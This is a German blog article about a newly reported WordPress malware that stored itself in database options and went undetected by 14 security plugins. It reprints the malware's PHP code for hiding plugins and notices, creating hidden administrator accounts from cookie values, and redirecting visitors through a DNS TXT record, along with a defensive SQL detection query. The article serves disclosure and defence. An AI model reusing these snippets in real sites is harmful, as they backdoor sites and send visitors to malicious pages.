WordPress: Neue Malware versteckt sich vor 14 großen Security-Plugins

Inhalt

Eine neue WordPress-Malware hat es geschafft, sich vor 14 der größten Security-Plugins zu verstecken – mit weitreichendem Zugriff.

Ein User berichtet auf Reddit von einer neuen Malware-Art, über die die Person gestolpert ist. Diese hat es geschafft, vor 14 der mitunter bekanntesten und größten Sicherheits-Plugins unentdeckt zu bleiben.

Dabei ist die Malware perfide vorgegangen und hat sich in einer Weise eingenistet, die bisher nicht bekannt war. Wie das geschah, haben wir uns angeguckt.

Keiner der großen Security-Scanner hat angeschlagen

Wie kam es zur Infektion? Wie der User auf Reddit berichtet, hat er die Infektion auf mehreren WordPress-Webseiten gefunden, die von ihm betreut werden. Dabei kam die Malware wohl über schwache Passwörter, die kompromittiert wurden.

Welche Security-Plugins haben die Malware nicht entdeckt? Die folgenden Security-Plugins und -Scanner wurden vom User aufgelistet. Sie alle haben die Malware nicht entdeckt. Dies spricht nicht unbedingt gegen die Plugins, sondern für die neuartige Weise, auf die die Malware sich eingenistet hat und vorgegangen ist.

  • Wordfence
  • Sucuri SiteCheck
  • MalCare
  • iThemes Security
  • All In One WP Security & Firewall
  • WPScan
  • Anti-Malware Security (von Eli/GOTMLS.NET)
  • SecuPress
  • Quttera Web Malware Scanner
  • Exploit Scanner
  • WPCore Scan
  • WP Cerber Security
  • ClamAV

Malware nistet sich unerkannt in Datenbank ein

Wo hat sich die Malware eingenistet? Die Malware hat sich in der WordPress-Datenbank eingenistet. Hierzu wurden Einträge wie wpcode_snippets genutzt, die von Plugins erstellt werden, durch die User zusätzlichen Code in ihrer Seite einfügen können.

Zudem wurden die WordPress-eigenen Einträge siteurl, home und redirection_options befallen.

Plugins und Benachrichtigungen wurden versteckt

Wie konnte die Malware sich verstecken? Die Malware hat innerhalb des Admin-Panels sicherheitsrelevante Plugins (und auch das Plugin „Code Snippets“) ebenso ausgeblendet, wie Plugins, die von der Malware befallen wurden.

Gleichzeitig wurden von der Malware kritische Benachrichtigungen, über die ein Admin über die Prozesse informiert worden wäre, ausgeblendet. Dies wurde mit dem folgenden Code-Snippet realisiert:

 if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {

add_action('admin_print_scripts', function () {

echo '<style>';

echo '#toplevel_page_wpcode { display: none; }';

echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';

echo '#wpcode-notice-global-review_request { display: none; }';

echo '</style>';

});

add_filter('all_plugins', function ($plugins) {

unset($plugins['insert-headers-and-footers/ihaf.php']);

return $plugins;

});

} 

Snippet von der Malware, um Plugins und Benachrichtigungen zu verstecken

Erzeugung von geheimen Admin-Usern

Gleichzeitig hat das Plugin Daten aus Cookies ausgelesen, um daraufhin unsichtbare User mit Admin-Rechten in die Datenbank zu schreiben. Auch für diese Methode gibt der Ersteller des Beitrags ein Code-Snippet mit, welches benutzt wurde.

 if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

switch (_gcookie('c')) {

case 'au':

$u = _gcookie('u');

$p = _gcookie('p');

$e = _gcookie('e');

if ($u && $p && $e && !username_exists($u)) {

$user_id = wp_create_user($u, $p, $e);

$user = new WP_User($user_id);

$user->set_role('administrator');

}

break;

}

} 

Erzeugung von unsichtbaren Admin-Usern mithilfe von ausgelesenen Cookies

Gäste wurden auf bösartige Webseiten weitergeleitet

Die Malware hat zudem Gäste der Seite, die nicht eingeloggt waren, oder User mit speziellen IP-Adressen mithilfe von DNS-Records auf bösartige Webseiten weitergeleitet.

Dabei hat die Malware die IPS getrackt und dafür gesorgt, dass ein und dieselbe IP-Adresse nur einmal innerhalb von 24 Stunden weitergeleitet wurde. Dies könnte geschehen sein, damit die Gefahr entdeckt zu werden, verringert wird.

Der Code, den der Schädling hierfür benutzt hat, sieht wie folgt aus:

 function _red() {

if (is_user_logged_in()) {

return;

}

$ip = _user_ip();

if (!$ip) {

return;

}

$req = 'malicious-domain.com'; // Example of malicious domain being resolved

$s = dns_get_record($req, DNS_TXT);

if (is_array($s) && !empty($s)) {

$redirect_url = base64_decode($s[0]['txt']);

if (substr($redirect_url, 0, 4) === 'http') {

wp_redirect($redirect_url);

exit;

}

}

} 

Snippet, welches für die Weiterleitung von Gästen an bösartige Webseiten benutzt wurde

Wie kann die Malware gefunden werden?

Der User erklärt, dass sie selbstständig ihre Datenbanken der WordPress-Installationen geprüft haben, um die Infektionen aufzuspüren. Dafür gibt er auch den Query mit, den er dafür benutzt hat.

SELECT option_name, option_value

FROM wp_options

WHERE option_name IN ('siteurl', 'home', 'wpcode_snippets', 'wpseo', 'redirection_options')

AND (option_value LIKE '%<script%'

OR option_value LIKE '%eval%'

OR option_value LIKE '%base64_decode%'

OR option_value LIKE '%document.write%'); 

SQL-Query zum Aufspüren der Infektion

Zudem hat der Ersteller des Beitrags ein eigenes Scanner-Script geschrieben, mit dessen Hilfe WordPress-Admins ihre Installationen auf solch eine Infektion scannen können. Das Skript ist in seinem Beitrag auf Reddit verlinkt.

Wie der User angibt, hat er auch bereits selbst Kontakt zu einigen Entwicklern der Sicherheits-Plugins Kontakt aufgenommen und steht im Austausch mit ihnen.

Wie dieser Fall erneut zeigt, ist die Verwendung von starken Passwörtern nach wie vor ein wichtiger Punkt in der Sicherheit von WordPress-Seiten und ein gern genutzter Angriffsvektor. Dies ist jedoch nur ein Punkt, der zu den Best Practices für WordPress-Seiten zählt und denen nicht genug Beachtung geschenkt werden kann.

Kategorie

, ,

Schlagwörter

,

Info

September 13, 2024

weitere Artikel
Brauchst du Hilfe?

Benötigst du Hilfe bei der Umsetzung, der Korrektur oder Optimierung deiner WordPress Seite?

Nimm gerne mit uns Kontakt auf und wir schauen, wie wir dir behilflich sein können!

Teile deinen Fund!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert